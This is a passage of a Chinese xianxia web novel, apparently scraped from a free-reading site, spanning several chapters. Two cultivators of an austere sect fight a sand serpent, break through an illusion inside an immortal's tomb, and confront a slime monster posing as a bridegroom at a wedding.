沙粒急速向两边翻滚,形成了一道深不见底的裂缝,呕哑的嘶鸣声自地底深渊而来,震耳欲聋! 宋玄机忽然对贺兰熹道:“过来。” 在裂缝即将达到自己脚下前的一刻,贺兰熹霍地向前跃起,脚尖在半空中蜻蜓点水般地点了三次,稳稳地落在宋玄机身边。 庞然大物终于破土而出。刹那间,遮天蔽日,黄沙升腾,一道硕大无比的黑影屹立在沙海中,宛若一座拔地而起的山峰。 这甚至还不是它的全貌,地面将它的身体一分为二,剩下的一半依旧在沙海里不断地蠕动盘桓。 狂风吹得衣袍猎猎作响,漫天黄沙模糊了视野,好在贺兰熹和宋玄机的《异兽论》均是甲等的好成绩,即便看不清巨物的全貌还是一眼便认出这是一条罕见的巨型沙蟒! 沙蟒背上被坚硬的鳞片覆盖,伸出两排巨大的骨翅。它的双眼闪烁着赤阳般的红光,螳螂般的巨钳形状怪异扭曲,挥舞之处飞沙走石,地动山摇。 贺兰熹不难在黄沙混沌中稳住身体,眼睛却只能勉强睁开一条细缝。他看到沙蟒张开血盆大口,发出被惊扰后愤怒的咆哮,挥舞着剃刀朝他们扑来! 贺兰熹和宋玄机同时拔剑出鞘,两道冰蓝色的剑光划破昏暗的风沙,如同一闪而过的流星,轰然撞上沙蟒的巨钳,爆发出灿烂的光华! 周遭的混沌因此而有了短暂的清明,沙蟒庞大的身躯被撞得剧烈扭动,嗜血杀虐的戾气暴涨,更加疯狂地挥动起它丑陋的巨钳。 【载星月】悬浮在主人身前,映出少年清丽的眉眼。贺兰熹低头敛目,竖于胸前的指尖捏出剑诀。 流光瞬息之间,【载星月】剑光大盛,凝成了一张散发着幽光的天罗地网朝着沙蟒急速而去。剑网并没有直接网上沙蟒,而是在离它只有数步之遥的时候,遽然化成无数利剑,飞速穿破坚硬的鳞片,直直浸入血肉! 沙蟒痛苦的嘶鸣响彻天际,巨大的身体犹如崩塌的沙丘,伴随着黄沙一同钻回了地底。 贺兰熹艰难地眯着眼,却找不到沙蟒的踪迹,不由地“嗯”了一声,尾音因困惑稍稍上扬。 《异兽论》上说,沙蟒极其灵活,它们可以随时将自己隐藏在茫茫沙海中,也能随时破土而出,猝不及防地出现在敌人身后。唯一可以预示它们到来的便是地底的颤抖与震动。 “贺兰熹,”怒吼狂风中,宋玄机的声音在贺兰熹耳中依旧冷静而清晰:“闭眼。” 贺兰熹当即心领神会。 既然看不清,干脆就不要看了。 在贺兰熹闭眼的刹那,漫天黄沙消失不见,声音却变得分明起来。 风声,沙声,金簪轻轻晃动的声音,甚至他自己的心跳声,声声入耳,每一种声音都是那么鲜明纯粹。 突然,一道轻微却格格不入的窸窣声混入其中,贺兰熹耳尖一动,微微侧过脸,谨慎分辨着声音的方向。 在无情道院一年的修行,足以让原本性格跳脱的少年在任何危急关头摒弃一切杂念,维持无情道者应有的沉静。 沙蟒的潜行和蠕动隐匿于尘土飞扬之中,它悄无声息地绕至白衣少年身后,猩红的双眸闪烁着伺机而动的幽光。 双眼紧闭的少年无声地弯了弯嘴角,周身暴涨的灵力掀起狂风巨沙,无形的剑浪以他为中心,一圈一圈荡涤四方。 才从土里冒了个头的沙蟒猝不及防地被剑浪掀翻后仰,【载星月】适时铮然出鞘,带着皎洁的星月之光,直指沙蟒身上唯一没有被鳞片覆盖的双眼! 刹时间,剑光与暴血交织,沙蟒长条状的身躯在半空中不断扭曲挣扎,发出阵阵极为凄惨绝望的轰鸣,最终轰然倒地。 黄沙归地,乌云散去,明月高悬,一切重归寂静。 贺兰熹缓缓睁开眼,巨物的头颅狰狞地躺在他脚下,已然没了生息。 不知何时已经天黑了,他那位无情道道友静静地站在月光下,长发如瀑,容色有如漱冰濯雪,竟能与沙海月色同辉,活脱脱一位月下美人。 贺兰熹见宋玄机连根头发丝都没乱,问:“你没出手?” “需要吗。”宋玄机淡道,“你一人足矣。” 贺兰熹微微一怔,心中不由窃喜。原来宋玄机如此认可他的实力,怪让人不好意思的哈哈哈。 宋玄机看了贺兰熹一眼,解释道:“祝如霜来过此地。他若能一人击退沙蟒,你也能。” 贺兰熹镇定地转过身,背对着宋玄机深吸一口气。 难得说一次长句,结果就这?我又没问你原因。 贺兰熹默默召回【载星月】入鞘,和宋玄机一同来到先前形成的裂缝旁。 裂缝足足有数人之宽,朝下看去,黑漆漆的一片望不到底,里面显然还有一个巨大的空间。 祝如霜指引他们来的地方,想必就是这里了。 宋玄机:“走?” 贺兰熹冷淡地点了点头,连“嗯”都没和宋玄机说。 两人一前一后纵身跃入裂缝,眼前均是深渊般的黑暗。不知过了多久,贺兰熹的双脚终于踩到了实质的地面。就在他们落地的一瞬间,视野忽然变得开阔明亮。 贺兰熹定睛一看,原来是四周墙壁上的火把唰然亮了起来,他们面前是一节节向远处伸展的台阶。 此处离地面十分遥远,与世隔绝,月光透不进来,呼啸的风声也消失了,安静宛若死寂。 两人拾级而上,来到了一扇巨大的金色石门前。 石门牢牢紧闭,两侧的火把噼里啪啦地燃烧着,火光映照出石门上精致又神秘的花纹。花纹由三条曲线组成,像水流的形状,也很像一个“川”字。 太华宗人人都认识这个图案,贺兰熹和宋玄机自然不例外。 贺兰熹伸手抚摸过石门上的图案,内心惊讶到都忘了自己在闹脾气,主动开口和宋玄机说:“是太善道院的院徽。” 太善道院,太华宗十二道院之一,实力只排在无情道院和合欢道院后。修太善道者,温柔敦厚,博施济众,各个都是品行高洁的淑人君子。 不得不说,太善道院的院徽真是好看——上善若水,泽被万物而不争名利。相比之下,他们无情道的院徽真是闻者伤心,见者流泪啊。 贺兰熹记得太善道院的道训是“日行一善”。去年刚入学时,他奉江院长之命去太善道院送一些古籍,才踏入太善道院的院门就被几个太善道的弟子团团围住。 大家争先恐后地帮 7.第 7 章 《风月无情道》全本免费阅读 贺兰熹踏入陵寝的瞬间,一道耀眼刺目的光芒猝不及防地从头顶照了下来,他本能地抬手挡在眼前,眯起双眼透过指缝抬头看去,竟看见了一片蔚蓝的天空。 难道他们从地下里出来了? 不可能,他们不是才进入浮绪仙君的陵寝吗,怎么会突然出现在这样的世外桃源中? 可无论是脚底的触感,还是鼻尖萦绕着的泥土的气味,亦或是远方时不时嘤嘤成韵的鸟鸣声,一切都是如此的真实。 一时之间,贺兰熹有一种他和宋玄机从来没去过沙漠,过去几日发生的事不过是他的臆想,此处才是现世的念头,好在宋玄机的声音及时将他从恍惚中拉了出来:“浮生若梦之术。” 浮生若梦之术,收录在太华宗的《术法·十五[终]》内,是一种无限接近【创世】的术法。该术所制造的幻境几乎算得上另一个真实存在的世界,一花一树,一草一木皆游走于现实和虚幻之间,真真假假,虚实交织。 贺兰熹最近才刚学完《术法·其三》,以他目前的能耐,想要从浮绪仙君设下的浮生若梦术中脱身的难度几乎相当于长孙策考全宗第一,但他一点不慌。 正如宋玄机所言,祝如霜曾经来过这里,并且成功出去了,这足以证明此幻境并非牢不可破。说的不谦虚一点,他年终考核的成绩可比祝如霜高。 贺兰熹望着前方的土阶木屋,提议:“我进去查探,你在四周寻找破局的线索?” 宋玄机:“嗯。” 木屋被收拾得很整洁,但四处落满了灰尘,水井旁的水桶也因干涸有了裂痕,墙角杂草丛生,显然已许久无人居住。 进入屋内,日常生活起居所需的物件一应俱全。膳房里有两套碗筷,粗糙的墙边立着常见的农耕用具。 继续往里走,唯一一间卧房里摆着两张小床,贺兰熹打开的简陋衣柜,发现里面的衣服有大小不同的两种风格。偏大的几乎全是白色,偏小的多是黑中带微赤的玄色。 贺兰熹记得祝如霜比林澹高上一些,想来之前在此处生活的人便是他们二人了。 不知为何,贺兰熹看到祝林二人一同生活后留下的痕迹,莫名有些伤感。 他瞧见衣服的最下方有一抹异常醒目的大红色,他正欲细查,却听见了宋玄机的传音:“过来。” 贺兰熹走出木屋,循声而去。 离木屋不远处有一片竹林,青翠挺拔,竹叶沙沙。日光倾泻而下,在宋玄机的白衣上留下斑驳的光影,少年原本沉静的美貌在这一刻仿佛流动了起来。 宋玄机站在一节竹前,稍稍抬头望着高处。贺兰熹来到他身边,顺着他的目光看去,竟然看到了一个才被他在心里嫌弃了一次的东西——无情道院院徽,一个用篆体刻成的“閇”字。 太善道院的院徽出自浮绪仙君之手,他们的院徽自然也是由无情道院第一任院长设计的。 传言,太华宗立宗伊始,每一位院长都需要为自己的道院立下道训和院徽。很快,其他院长陆续完成了任务,只剩下无情道的院长迟迟没有给出结果。 为了太华宗的和谐统一,院长们一个接一个地催无情道赶紧把道训和院徽定下来:虽说你们道院一百年也招不到几个人,但该的还是要有嘛,不然显得多和我们格格不入啊。 一番规劝下来,他们的初任院长不出意外地被吵到了,当即随手执剑刻下一字用于打发同僚。 閇,意为“闭”,取“闭耳,闭目,闭心”之意,和无情道断绝七情六欲的理念还算吻合。当然,这个“閇”还有一层更重要的含义,那便是——给本座闭上你们的嘴。 竹子上的无情道院徽再次证明祝如霜和林澹曾经在这里生活过。只是,祝如霜为何要把院徽刻在竹子的高处?如此不显眼,若不是宋玄机心细如发恐怕都发现不了。 难道,祝如霜刻下院徽时,竹子并没有这么高? 贺兰熹记得这类竹子的生长过程十分有趣,头两年异常缓慢,只为向下而伸,扩展根系。第三年开始,它们厚积薄发,以惊人的速度向上攀升,短短数月就能比他们无情道院所有人加起来还高。 宋玄机平静地陈诉事实:“祝如霜和林澹一同在此处,共有三年之久。” 贺兰熹也想到了这点,他做不到宋玄机那么淡定,趁宋玄机的注意力没在自己身上,抓紧时间倒吸了一口冷气。 祝如霜居然用了三年才破了浮生若梦的幻境?难不成他也要和宋玄机在一起单独待上三年才能出去?! 不要不要,别说三年了,三个月他都会发疯,搞不好会不惜以死相逼,要求宋玄机每天至少主动和他说话三次,然后宋玄机不但不会理他,大概还会觉得他走火入魔,一剑把他拍晕了事。 巨大的绝望涌上心头,贺兰熹一边想哭又想闹,一边冷静琢磨着难怪祝如霜会说出“我道心已毁”之类的话。 若只是几日的相处时光,祝如霜或许不会对林澹动心。那三年呢?一千多个日日夜夜,在与世隔绝的桃源幻境中朝夕相处,日久生情也在情理之中。 要知道,祝如霜入无情道院也不过一年罢了。如今细想起来,倘若祝如霜乃天生无情之人,又怎会为了重病的亲人不惜以身犯险呢。 宋玄机问:“你可有发现。” 贺兰熹沉浸在绝望中,“嗯”都“嗯”得很难过:“随我来。” 两人回到木屋,贺兰熹带宋玄机来到卧房,径直走向先前没有关上的衣柜,将最下面的红色布料一把抽了出来。 ——是两件除大小之外一模一样的大红喜服,其中还夹杂着一方绣有鸳鸯戏水图纹的红盖头。 宋玄机沉吟片刻,拂袖一挥,床底又滑出来一个陈旧的木箱。木箱在两人眼前自动打开,里头装着两根烧至一半的红烛,几张字迹端正的“囍”字,以及一对形制奇特的合卺杯。 祝如霜果然已经在幻境中和林澹成过亲,两人在现世林府的婚礼只是走个形式,他们早有了夫妻之名。 宋玄机将半截红烛召入手中,根据烛台上凝固蜡油的硬度推测出使用的时间:“此烛燃后不久,祝如霜二人便离开了此地。” 一旦入局者离开,幻境中的时间也会停滞不前。换言之,祝如霜和林澹一完婚就从幻境中脱身了。 难不成,成婚便是破浮生若梦之术的关键?可浮绪仙君怎会费尽心思设下幻境就为了看两个男人成亲,浮绪仙君又不是合欢道院的院长,应该不会有这样的恶趣味。 其中定然另有蹊跷,他目前还想不明白。如今之计唯有复现当时的情景,看看会发生什么事了。 想到这里,贺兰熹忍不住瞥了一眼宋玄机,突然有了个奇怪的念头。 从他去年第一眼见到宋玄机,宋玄机一直以一袭白衣示人。撇开宋玄机清冷淡漠的气质不谈,其实也是花容月貌,惊才绝艳。如此美人,一辈子只穿一种颜色,那真是作孽。 贺兰熹在心中暗暗酝酿好措词,千言万语汇成一个字:“穿?” 宋玄机点头:“穿。” 啊?宋玄机这么爽快就答应了?贺兰熹犹豫了一下,又问:“你可知我意?” 宋玄机看着他:“你说呢。” 贺兰熹表面镇定地怔了怔,转念一想,无情道的天选之人不会有任何情绪,自然也不会尴尬羞耻。既然宋玄机都不羞耻,那他也没什么好尴尬的。刚好他很喜欢穿红色,因此还一度很羡慕合欢道的弟子。 宋玄机走到两件喜服前,动作自然地拿起了其中偏大的一件,将红盖头和偏小的喜服全留给了贺兰熹。 不知是不是这几日一路同行的缘故,宋玄机明明一个字都没说,贺兰熹却默契地理解了他的意思,登时浑身一僵。 贺兰熹:“……嗯?” 宋玄机:“我比你高。” 贺兰熹冷冷地看着宋玄机说实话的样子,表示自己不 8.第 8 章 《风月无情道》全本免费阅读 贺兰熹记得他娘亲说过,洞房一定是两个人两情相悦到很深的地步才会发生。而对他们无情道中人来说,一旦用情至深,无情道不崩才怪。可上次他在林府和祝如霜相见,并没有发现对方有道崩的迹象。 不过就算宋玄机精通洞房之术,他们也不至于为了破一个幻境做到那种地步啊。 贺兰熹镇定回头:“无妨,祝如霜和林澹应当也没有洞房。” 宋玄机:“为何。” 贺兰熹:“因为祝如霜未曾道崩。” 宋玄机静默沉思,对贺兰熹无情道不崩即没有洞房的判断不敢苟同。他没有出言反驳,只改口道:“你功课写完了么。” 贺兰熹一怔,差点“啊”出声:“……嗯?” 宋玄机一身大红喜服,面无表情地看着他:“做功课。” 贺兰熹犹豫着问:“你可是认真的?” “总归你我无旁的事可做,”宋玄机淡道,“你可以先把《九州史》的功课写完。” 听到“九州史”三字,贺兰熹胸口一阵窒息,心中涌现出无限的悲凉。 他既然修了无情道,这辈子也就和风月嫁娶之事无缘了。不出意外的话,今日应当是他离成婚最近的一次。虽说是假的,他的“成婚对象”还是个高冷怪,但他以后都不会再有穿喜服的机会了。 抛下这些不谈,他在外面累死累活地为太华宗办事,他又没偷懒,能不能别张口闭口地就让他做功课啊。 他这人有个毛病,本来对做功课不排斥,也会主动去做,但如果有人要求他做,他反而不愿意做了。 贺兰熹越想越不爽,冷着一张脸:“不。” 宋玄机:“不?” 贺兰熹闹起了脾气:“不做功课。” 宋玄机:“为何?” “没有为何。”贺兰熹冷冷道,“就是不做。” 宋玄机静了一静,声音似乎没平时那般冷淡了,反而带上了一点莫名其妙:“看不懂你。但你可曾想过,浮绪仙君为何要设下此幻境。” 贺兰熹微微一怔,随即意识到宋玄机话中有话。 普通人在自己的陵寝里设置各类陷阱无非是为了击退,甚至击杀来者,但浮绪仙君不一样。 浮绪仙君秉性纯善,非必要不杀生。哪怕有人擅闯他的陵寝,他也是先用沙蟒震慑,再考验来者的善恶。 然后呢?浮绪仙君检验了他们的实力和善恶之后,还需要确定什么才能放下心来允许他们深入自己的陵寝? 贺兰熹心念一动,隐隐明白了宋玄机的意思:“你的意思,我们只需像平日在太华宗时一样即可?” 宋玄机颔首:“嗯。” “好,我信你一次。”贺兰熹撩开喜服的下摆在椅子上端庄坐好,接着从灵囊里拿出了《九州胜览》。 宋玄机在贺兰熹对面坐下,取出一本《符箓学》。他没有立刻翻开书,而是看着贺兰熹头顶上的喜帕,问:“不取下?” 贺兰熹轻描淡写地说:“别管。” 宋玄机:“。” 原本用于洞房花烛的红烛被迫为两个少年的功课服务。不知为何,两人均没有换回无情道的校服,贺兰熹头上还顶着一方掀开的红盖头。 贺兰熹奋笔疾书之余情不自禁地想,这世上穿着喜服还在做功课的,恐怕只有他和宋玄机两个人了吧。 蓝黑色的夜幕缓缓而降,人在幻境中时间的感知和现世一样。两个时辰后,贺兰熹靠着埋头翻书把《九州史》的功课做的七七八八,只剩下了一篇人物小传。 贺兰熹在一张白纸上写下《论鬼王于九州之影响》几字,而后期待地看向宋玄机:“所以,鬼王于九州之影响是什么呢?” 在太华宗时,无情道三人组各有不擅长的科目。他是《九州史》,宋玄机是《丹药学》,祝如霜则是《机关学》。但他们即便各有所长所短,却从未向旁人请教过功课,这还是第一次。 反正是宋玄机自己提出来要在《九州史》上助他一臂之力的,他不问白不问。 “拿出《九州胜览》,翻至首页。”宋玄机垂眸停笔,道:“你要从此处重新开始学。” 贺兰熹默默低下了头。他真是深感耻辱,深感耻辱啊。 对贺兰熹而言,《九州史》就是一剂催眠的猛药,哪怕讲解人是身穿大红喜服的宋玄机也改变不了这一事实。 听着鬼王平生的事迹,贺兰熹的眼帘渐渐变得沉重,意识也随之混沌模糊,不知不觉便睡了过去。 再次醒来时,贺兰熹发现自己没有趴在桌子上,而是背靠着一根高大的柱子坐于地面。 幻境的木屋已然消失不见,取而代之的是一间稍显昏暗的密室。墙壁上挂着仿佛永远烧不尽的火把,地面的触感粗糙而冰冷,一股陈旧压抑的气息涌入鼻腔,贺兰熹下意识去寻找宋玄机的身影:“宋玄机?” 宋玄机的声音响起:“在。” 贺兰熹扶着柱子站起身,在密室的角落里看见了宋玄机。宋玄机手持火把,面朝墙壁而站,似乎是在看什么东西。 贺兰熹仗着宋玄机看不见,开心地朝对方小跑了几步:“幻境已破?” 宋玄机头也不回地回了他一个“嗯”字。 如此看来,宋玄机的推断是正确的。浮绪仙君之所以在陵寝内设下浮生若梦之术,是为了判断来者是否有不轨之心。 浮绪仙君带着鬼王之角一同下葬,并非是想让鬼王之角和自己的尸首一样永远不见天日。或许他早就想到了未来的某日,有人会为了鬼王之角闯入他的陵寝。 浮绪仙君首先需要知道来者的实力能否驾驭鬼王邪物,更要确定此人不会与自己背道而驰,最后还要判断来者闯入陵寝的原因。 宋玄机突然拉他一同做功课,就是为了告诉浮绪仙君的亡魂,他们是太华宗正正经经的弟子,此行只为了调查道友忽然成亲的真相,别无他求。 贺兰熹相信单凭祝如霜一人也能完成浮绪仙君设下的三重考验,他之所以会被困在浮生若梦中三年,问题一定出在林澹身上。 是林澹,三年来始终无法得到浮绪仙君的认可,连累祝如霜陪他一起困在浮生若梦中,直到他和祝如霜在幻境中完婚的那 9.第 9 章 《风月无情道》全本免费阅读 贺兰熹环顾四周,四面均是厚重的墙壁,没有一丝光亮从外面透进来,自然也找不到出口。整间密室除了墙上的壁画之外只有九根支撑着天花板的柱子,柱身上刻有古老神秘的浮雕。 贺兰熹觉得这些浮雕很是眼熟,若他没有记错,他在《机关要学·进阶》中看到过它们。 浮绪仙君乃太华宗《机关学》的奠基人,有不少相关的著作,这次给他们出的便是这一道机关题了。 宋玄机的目光快速扫过九根柱子,稍作沉思,召出随身佩剑,用剑光在墙壁上划出一道道复杂的曲线。 贺兰熹看着宋玄机解题,提醒他:“祝如霜不擅《机关学》。” 不是他在背后偷偷说同院道友的坏话,但祝如霜在《机关学》上的糟糕的确和他在《九州史》上的不相上下。这等难度的机关,祝如霜再解三年都未必解得出来。 假使来到这里的只有祝如霜一人,那他的脚步应该到此为止了,但他身边还有个“林澹”。如果“林澹”能顺利解开密室机关,更加证明他并非等闲之辈。 “嗯。”宋玄机划出最后一剑,密室上方传来咔嗒一声响,紧接着是一阵机械锁链转动的声音。 ——轰。 一行阶梯从上方缓缓落下,通向前方未知的黑暗。 贺兰熹自然而然地和宋玄机对视了一眼,宋玄机朝他轻轻颔首,先他一步踏上了阶梯。 贺兰熹紧随其后。两人走了大约一炷香的时间,视野豁然开朗。 映入眼帘的是一片宏伟空旷的大殿,贺兰熹和宋玄机置身其中,宛若茫茫沙海中唯二的白色兰花;一座巨大的神像矗立在大殿正中间,仿佛是这庞大空间中唯一的存在,即便抬头也无法仰视其全貌,但凭借神像的穿着便可知这是浮绪仙君的神像。 贺兰熹双眼骤然睁大。他直愣愣地看着眼前巨大的神像,寒意犹如一双冰凉修长的手,渐渐爬上他的双腿和脊背;他的头皮阵阵发麻,胸口也无法控制地泛起了恶心。 本应庄重神圣的神像此刻竟散发着让人作呕的恶臭,只见“浮绪仙君”的胸口被破开了一个大洞,恶臭因此而来;黏腻污秽的黑色液体从洞口不断蠕动蔓延,形成一条条腐烂的藤蔓,遍布神像全身,好似一截截被人刻意扭曲的肢体。 神像双手已被折断,脸亦是面目全非,双耳只剩下了一只,两行血迹从空洞的眼中滑落,眼珠掉落在神座旁,像是被谁轻飘飘地踩了一脚,带着灰尘的脚印清晰可见。 宋玄机微微侧眸,道:“贺兰时雨?” 贺兰熹面色苍白,深吸一口气,强迫自己冷静下来,一时都忘了要言简意赅:“放心吧我没事——【鬼相语】在哪里?” 宋玄机略微顿了顿,才道:“找。” 即便知道希望不大,贺兰熹还是强忍着恶心,和宋玄机一起在神像上和大殿中仔细找了个遍,果然不见【鬼相语】的踪影。 一般人欲图【鬼相语】,到手之后走人便是,实在没有必要对浮绪仙君的神像如此恶心的凌辱。那人这么做,是为了泄愤,还只是单纯觉得……好玩? 祝如霜不可能对浮绪仙君不敬,能做出这等事情的只有一人。 祝如霜和林澹从浮生若梦中脱逃后,和他们一样来到了密室。林澹不知用什么方法,暂时让祝如霜失去了意识,自己则破解机关要法后来到了神像大殿。 林澹拿走了【鬼相语】,并对浮绪仙君的神像疯狂地施虐凌辱。做完这一切后,他若无其事地回到祝如霜身边,将人从陵寝中带了出去,并声称自己只是无意间歪打正着地破了密室之谜。回到西洲后,林澹天真无邪地继续扮演着林家小公子的角色,甚至还要在现世和祝如霜再成一次婚。 林澹自以为天衣无缝,殊不知无情道院从不养废物,祝如霜能被选入其中,就意味着他绝不会乖乖令人摆布。 贺兰熹猜测,祝如霜已经在怀疑【鬼相语】在林澹手上,为了不打草惊蛇并暗中调查真相,他假意留在林澹身边,并同意和他完婚。 祝如霜深知,只要他成亲的消息一传出去,无情道院不可能放任不管。他知道他的道友们会去找他,也知道他的两个道友能轻而易举地来到陵寝终点,为他彻底证实他的怀疑。 无情道三人在一起生活学习了一年,哪怕在言语交谈上“不熟”,他们依旧是太华宗内最了解,最信任彼此的人。 贺兰熹眉间紧蹙,神色异常沉重。他盯着神像脸上唯一完好的双唇 ,只觉那嘴角轻轻勾了起来,朝他露出了一个诡异的微笑。 * 西洲,林宅。 今日林家小公子大喜,林府上下淹没在一片喜庆的大红色之中。林家世代经商,人脉自是遍布天下,此刻宾客盈门,高朋满座,其中更是不乏西洲一些有头有脸的大人物。 当然了,要是论有头有脸,放眼整个西洲又有谁能比得过西洲少主长孙经略呢。 西洲小霸王一句“本少主不欲与旁人同桌”,林府就特意给他安排了一个单人桌。喜堂前,一对新人已经开始“一拜天地”了,长孙策却还在鼓捣他带来的一堆传音符,鼓捣得满头大汗,心急如焚。 他厌恶无情道院,也看不惯那三个哑巴似的冷美人。他之前的幸灾乐祸和阴阳怪气也句句发自肺腑,但真要他眼睁睁地看着无情道的弟子被迫成婚放弃修行,他又好像不乐意了。 所以宋浔和贺兰熹究竟死哪去了!这几日他不要钱一般地不知道用了多少张传音符,愣是联系不上那两人。 太华宗年轻弟子中最强的两个,总不至于几日之间就死在了沙漠里吧? 长孙策骂骂咧咧地正要再用一张传音符,忽然听见了贺兰熹的声音:“长孙经略?” 长孙策嗖地抬头:“贺兰熹?” 贺兰熹:“嗯。” 长孙策怒松一口气,骂道:“你们是去沙漠里成亲了吗,这都多久了还不回来!” 贺兰熹那头停顿了一下:“在回去的路上。林府情况如何?” 长孙策:“不如何!刚‘夫妻对拜’完,马上要送入洞房了!” 贺兰熹正御剑而行,听见长孙策这么说就放心了——没入洞房的成亲算个屁。 贺兰熹道:“你去抢亲。” 长孙策猛地站起身,大惊失色:“什么?!”这一声叫得实在太大声,引来了不少宾客侧目。长孙策赶紧又坐了回去,压低声音道:“你疯了?我在西洲是什么身份你让我去抢祝云的亲?” 贺兰熹无声地笑了一下:“怎么,祝如霜配你难道不是绰绰有余吗?” “这是配不配的问题吗,我又不喜欢男的!等下,”长孙策脑子一转,突然意识到一件大事:“贺兰熹,你刚刚是不是和我开玩笑了?!” 一不小心忘了形的贺兰熹哽了哽:“……话多多辣椒水。” 长孙策恍然大悟,十分得意:“我找的药好用吧,好用你就多用点。” 贺兰熹:“我马上到林府,你拖住。” 长孙策:“你让我怎么拖住啊!贺兰熹?贺兰熹!” 传音符化成了灰烬,贺兰熹那头也彻底没了声息。 长孙策气急败坏地暗骂了两声,抬头朝喜堂的方向张望。 这场婚礼是在林府办的,按照传统嫁娶的规矩,应该算林府娶妻,但凤披霞冠的却不是祝如霜,而是林澹。长孙策之前听人在席间议论过此事,说是林澹甘愿如此。 随着一声“送入洞房”,头戴喜帕的林澹在喜娘的搀扶下往内厅走去。祝如霜面色平静地跟在林澹身后,忽然停下了脚步,朝外头看了一眼。 长孙策咬了咬牙,霍地站起身,高喊道:“等等,我不同意这门亲事!” 此话有如惊雷落下,满座宾客的目光都聚在了长孙策身上,原本嘈杂喧闹的宴席骤然鸦雀无声。祝如霜也向他投来了视线,他竟在那常年寡淡的 10.第 10 章 《风月无情道》全本免费阅读 暗红色的粘稠蠕动翻滚,形成了一条条状如孩童手臂般粗细的触手藤蔓,其中两条还真长出了手指,一左一右,轻轻地为“林澹”挑开了喜帕。 明明是和先前见到过的同样一张脸,长孙策和他四目相对时,却觉遍体生凉。这种“凉”和无情道人带给他的“凉”不一样,好似有什么冰凉的东西在他身上攀升爬行,叫他头皮发麻,鸡皮疙瘩都掉了一地。 “林澹”看着长孙策,卸下伪装后,他的第一句话竟然是:“混天道院。” 长孙策剑眉紧皱:“你丫报我道院作甚。” “林澹”慢条斯理地抓住了胸口的长/枪,像是好玩一般,一点一点地插入自己的胸口:“那两个无情道没和你一起来?” 长孙策发现枪身无法被他控制地从手上脱开,干脆松开了手,冷笑道:“吃着碗里看着锅里的就没意思了吧。” 话落,长孙策猛地后撤一大步,随机挑选了一位现场宾客,从对方腰间抽出了两把尖刀。 在他拿到双刀的瞬间,这两把刀便仿佛有了生命和意识一般,通身金光暴起,和他新认的主人一起,以雷霆万钧之势将“林澹”自上而下直接一分为二! 祝如霜双眸中映着短发少年高大却不失迅敏的身影,总算有了长孙策乃混天道本届弟子第一人的实感。 长孙策从来不说自己擅长哪一种武器,因为他擅长任何武器。百武精通,这一点哪怕是他们无情道三人也未必做得到。 只可惜,这对双刃的结果没有比先前的长/枪好到哪去。 “林澹”被生生劈开两半后,那粘稠的暗红色液体犹如水漫金山一般,猝不及防地朝长孙策喷涌而去,长孙策连捏个防护术法的时间都没有,连忙朝一旁闪去。 为了不碰到那恶心人的东西,长孙策的动作十分勉强,几乎是重重摔到了地上,可即便如此,还是有两滴漏网之鱼径直朝他眉心飞了过去! 千钧一发之际,一道银光飞驰而至,不偏不倚,刚好打在了两滴黏液上。 那两滴黏液落在地上,嘶嘶地将地面烧出了两个焦黑的印记,而后蠕动翻滚,和其他黏液汇聚在一起,重新变成了“林澹”的模样。 长孙策抬头看去,只见两个纯白色的身影掠过茫茫夜空,宛若流星双子,正一前一后,乘星踏月而来。 长孙策眼睛一亮:“贺兰熹,宋浔!你们还知道回来!” 贺兰熹跟着宋玄机在屋檐上轻盈地落下,他也不知道为什么一定要是屋檐,可能这样比较有冷傲的气势吧,和无情道比较契合。 贺兰熹看了眼长孙策,居高临下道:“废。” 长孙策“呸呸呸”地吐掉嘴里的灰尘,不甘心道:“行,你厉害!你行你上啊!” 贺兰熹还没有动作,祝如霜先有了反应,不知何时召出的长剑遽然出鞘,剑气如霜,在“林澹”脖颈之间划出一道霜染般的弧线。 “嗯?”“林澹”的头颅在身体上摇摇欲坠,却还能眯起眼眸看向祝如霜:“这么狠心的吗?” 祝如霜清俊的面容冷若冰霜:“无情道中人,从来就没有心。” “这样吗?”“林澹”露出一个几乎称得上甜美的笑,“那我倒要看看,若你唯二的两个同院道友死了,你会不会替他们伤心。” 祝如霜脸色微变:“你……” 贺兰熹站在宋玄机身后,从他肩膀上探出脑袋观看战局。 祝如霜拼尽灵气的一剑似乎仍然没有对“林澹”造成实质的伤害。“林澹”又一次融化了身躯,黏液渗入地底,消失得无影无踪。 贺兰熹公平公正地给出评价:“嗯?真是强劲的对手。” 话落,一声怒吼响彻天际。 “贺兰熹——我去你姥姥的!”长孙策被贺兰熹的双重标准气得几近吐血,“你把你刚刚那个‘废’给我憋回去,再给我道歉!” 贺兰熹十分痛快:“抱歉。” 长孙策:“……”奇怪,为什么他还是觉得有被侮辱到? 祝如霜眉间蹙起,上前一步,刚要开口,忽然瞥见了什么:“小心!” 长孙策快速四周张望,脑袋几乎晃出了残影:“又要小心什么啊!” 贺兰熹耳尖一动,敏锐地捕捉到黏液翻滚的声音。他陡然回头,果然看到了宋玄机身后的地面正诡异地上下起伏,似乎下一刻就要破土而出。 贺兰熹忙道:“宋玄机!” 两位道友轮番提醒,宋玄机却是停在原地,一动不动,只是微微一侧眸。 “林澹”再次幻化出人形,想要抓住时间差打宋玄机一个措手不及。然而,就在他倾尽全力即将扑出之时,画面突然安静了下来。 风雪凭空骤起,呈千里冰封之势眨眼间席卷天地。地面结起厚厚一层冰霜,呼出的气仿佛都凝成了实体,冰晶映着月色,美得叫人惊心动魄。 雪落无声,冰寒彻骨,千百年来一直炎热异常的西洲,在这一刻终于见到了隆冬。 宋玄机垂眸扫了眼狼狈不堪的长孙策,冷淡的目光仿佛无声嗤出了一个“废”字。 长孙策一脸憋得通红,张了又合,合了又张,最后彻底闭上了。 看着被牢牢禁锢在原地,维持着可笑的姿态的“林澹”,贺兰熹甚至懊悔。他刚刚不应该说“宋玄机!”的,他应该“宋玄机。”这样才对。 宋玄机转过身,看向“林澹”:“【鬼相语】?” 冷得直哆嗦的长孙策总算找到了发言的机会:“你要给他的嘴‘解冻’啊,不然他怎么说话?” 宋玄机给了“林澹”一个说话的机会。“林澹”脸上的冰层刷地碎开,他的目光从一一掠过贺兰熹,宋玄机和长孙策,忽地一声笑。 “无情道院的得意门生……呵。”“林澹”面目扭曲,仿佛有无数条细蛇在他皮肉下蠕动:“你们这些天之骄子还真是千百年来如一日的面目可憎啊。” 贺兰熹在宋玄机身后微不可见地挑了挑眉。 最终,“林澹”的视线落在了祝如霜,竟是勾起了嘴唇,微微一笑:“美人,下次换我娶你啊。” 说罢,“林澹”闭上了眼,身体在众目睽睽之下迅速化成了一团黏液。 